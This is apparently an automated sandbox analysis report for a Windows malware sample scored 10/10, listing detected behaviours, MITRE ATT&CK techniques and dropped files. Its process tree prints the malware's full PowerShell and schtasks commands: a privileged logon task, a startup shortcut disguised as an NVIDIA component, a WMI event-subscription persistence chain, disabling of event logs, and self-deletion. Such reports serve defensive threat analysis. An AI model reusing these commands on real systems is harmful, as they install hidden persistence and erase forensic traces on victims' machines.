Overview

overview

10

Static

static

3

e08610b28e...in.exe

windows10-2004-x64

10

e08610b28e...in.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    03/04/2026, 05:07

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    e08610b28e637679feaf243622adf3386a04bd24c915fe64c908d4d68b9fd203.bin.exe
  • Size 8.8MB
  • Sample260403-fr3aaadx21
  • SHA256 e08610b28e637679feaf243622adf3386a04bd24c915fe64c908d4d68b9fd203
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Enumerates VirtualBox registry keys 2 TTPs 25 IoCs
    defense_evasion
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 5 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Looks for VMWare Tools registry key 2 TTPs 5 IoCs
    defense_evasion
  • Looks for VMWare services registry key. 1 TTPs 20 IoCs
    defense_evasion
  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 4 IoCs
  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
    persistence
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Modifies registry class 15 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3244
      • C:\Users\Admin\AppData\Local\Temp\e08610b28e637679feaf243622adf3386a04bd24c915fe64c908d4d68b9fd203.bin.exe
        "C:\Users\Admin\AppData\Local\Temp\e08610b28e637679feaf243622adf3386a04bd24c915fe64c908d4d68b9fd203.bin.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Enumerates VirtualBox registry keys
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VMWare Tools registry key
        • Looks for VMWare services registry key.
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:5260
        • C:\Windows\system32\schtasks.exe
          schtasks /Create /TN NvContainerTask_G5ML4VPuil /TR "\"C:\Users\Admin\AppData\Local\Microsoft\DeviceMetadataStore\ApplicationFrameHost.exe\" worker" /SC ONLOGON /RL HIGHEST /F
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3092
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -Command "$ws=(New-Object -ComObject WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NVIDIA Display Container.lnk');$ws.TargetPath='C:\Users\Admin\AppData\Local\Microsoft\DeviceMetadataStore\ApplicationFrameHost.exe';$ws.Arguments='worker';$ws.WindowStyle=7;$ws.Save()"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops startup file
          • Suspicious use of AdjustPrivilegeToken
          PID:4716
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$f=[wmiclass]\"root\subscription:__EventFilter\";$fi=$f.CreateInstance();$fi.Name='NVIDIA Display Container_Filter';$fi.EventNamespace='root\cimv2';$fi.QueryLanguage='WQL';$fi.Query='SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"';$fi.Put();$c=[wmiclass]\"root\subscription:CommandLineEventConsumer\";$ci=$c.CreateInstance();$ci.Name='NVIDIA Display Container_Consumer';$ci.CommandLineTemplate='\"C:\Users\Admin\AppData\Local\Microsoft\DeviceMetadataStore\ApplicationFrameHost.exe\" worker';$ci.Put();$b=[wmiclass]\"root\subscription:__FilterToConsumerBinding\";$bi=$b.CreateInstance();$bi.Filter=$fi.__PATH;$bi.Consumer=$ci.__PATH;$bi.Put()"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:1880
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 2; Remove-Item -Force 'C:\Users\Admin\AppData\Local\Temp\e08610b28e637679feaf243622adf3386a04bd24c915fe64c908d4d68b9fd203.bin.exe' -ErrorAction SilentlyContinue"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Deletes itself
          • Suspicious use of AdjustPrivilegeToken
          PID:6076
      • C:\Users\Admin\AppData\Local\Microsoft\DeviceMetadataStore\ApplicationFrameHost.exe
        "C:\Users\Admin\AppData\Local\Microsoft\DeviceMetadataStore\ApplicationFrameHost.exe" worker
        2⤵
        • Enumerates VirtualBox registry keys
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VMWare Tools registry key
        • Looks for VMWare services registry key.
        • Executes dropped EXE
        PID:5144
    • C:\Users\Admin\AppData\Local\Microsoft\DeviceMetadataStore\ApplicationFrameHost.exe
      "C:\Users\Admin\AppData\Local\Microsoft\DeviceMetadataStore\ApplicationFrameHost.exe" worker
      1⤵
      • Enumerates VirtualBox registry keys
      • Looks for VirtualBox Guest Additions in registry
      • Looks for VMWare Tools registry key
      • Looks for VMWare services registry key.
      • Executes dropped EXE
      • Registers new Windows logon scripts automatically executed at logon.
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:2948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "wevtutil sl \"Microsoft-Windows-TaskScheduler/Operational\" /e:false 2>$null"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1808
        • C:\Windows\system32\wevtutil.exe
          "C:\Windows\system32\wevtutil.exe" sl Microsoft-Windows-TaskScheduler/Operational /e:false
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3616
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "wevtutil sl \"Microsoft-Windows-Services/Diagnostic\" /e:false 2>$null"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2580
        • C:\Windows\system32\wevtutil.exe
          "C:\Windows\system32\wevtutil.exe" sl Microsoft-Windows-Services/Diagnostic /e:false
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5416
      • C:\Users\Admin\AppData\Local\Microsoft\DeviceMetadataStore\ApplicationFrameHost.exe
        C:\Users\Admin\AppData\Local\Microsoft\DeviceMetadataStore\ApplicationFrameHost.exe watchdog 2948
        2⤵
        • Enumerates VirtualBox registry keys
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VMWare Tools registry key
        • Looks for VMWare services registry key.
        • Executes dropped EXE
        PID:4008
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$r=Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter \"Name='NVIDIA Display Container_Filter'\" -ErrorAction SilentlyContinue;if($r){exit 0}else{exit 1}"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:3388
      • C:\Windows\system32\schtasks.exe
        schtasks /Query /TN NvContainerTask_G5ML4VPuil
        2⤵
          PID:2692
      • C:\Users\Admin\AppData\Local\Microsoft\DeviceMetadataStore\ApplicationFrameHost.exe
        "C:\Users\Admin\AppData\Local\Microsoft\DeviceMetadataStore\ApplicationFrameHost.exe"
        1⤵
        • Enumerates VirtualBox registry keys
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VMWare Tools registry key
        • Looks for VMWare services registry key.
        • Executes dropped EXE
        PID:3480

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            1
            T1059

            PowerShell

            1
            T1059.001

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Persistence

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Boot or Logon Initialization Scripts

            1
            T1037

            Logon Script (Windows)

            1
            T1037.001

            Event Triggered Execution

            1
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Privilege Escalation

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Boot or Logon Initialization Scripts

            1
            T1037

            Logon Script (Windows)

            1
            T1037.001

            Event Triggered Execution

            1
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Defense Evasion

            Modify Registry

            1
            T1112

            Virtualization/Sandbox Evasion

            4
            T1497

            Credential Access

            Discovery

            Query Registry

            4
            T1012

            Virtualization/Sandbox Evasion

            4
            T1497

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            powershell.exe.log
            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            ApplicationFrameHost.exe
            • Path C:\Users\Admin\AppData\Local\Microsoft\DeviceMetadataStore\ApplicationFrameHost.exe
            • Size 8.8MB
            • SHA256 e08610b28e637679feaf243622adf3386a04bd24c915fe64c908d4d68b9fd203
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 84cd3279e51448b701d5239a3321003122a5f10ccaa79995ba3a3e996126464d
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
            • MD5 SHA1 SHA512
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 57d7a1c942fc2e3599d62686612d7b9cd08d2a75a9c5ea0eed52a60e02d33366
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            .mn_4d4c34565075696c.pid
            • Path C:\Users\Admin\AppData\Local\Temp\.mn_4d4c34565075696c.pid
            • Size 4B
            • SHA256 7dd49e56d655438a5069f7f65fd8328c9f66b21dd3dd2967023a6966f85bc2fa
            • MD5 SHA1 SHA512
            Submit Download

            .wd_4d4c34565075696c.pid
            • Path C:\Users\Admin\AppData\Local\Temp\.wd_4d4c34565075696c.pid
            • Size 4B
            • SHA256 1c8a1600842cc2a0dba6151022cbd9ce73db6759f401ce004694b34e0ca6c964
            • MD5 SHA1 SHA512
            Submit Download

            __PSScriptPolicyTest_mslo1cr4.mnn.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mslo1cr4.mnn.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/1808-45-0x0000017E21C00000-0x0000017E21DA1000-memory.dmp
            Download

            memory/2580-55-0x0000022393450000-0x00000223935F1000-memory.dmp
            Download

            memory/4716-3-0x0000021EA5B10000-0x0000021EA5B32000-memory.dmp
            Download

            memory/4716-2-0x0000021EBE120000-0x0000021EBE130000-memory.dmp
            Download

            memory/6076-60-0x000001D48B9D0000-0x000001D48BB71000-memory.dmp
            Download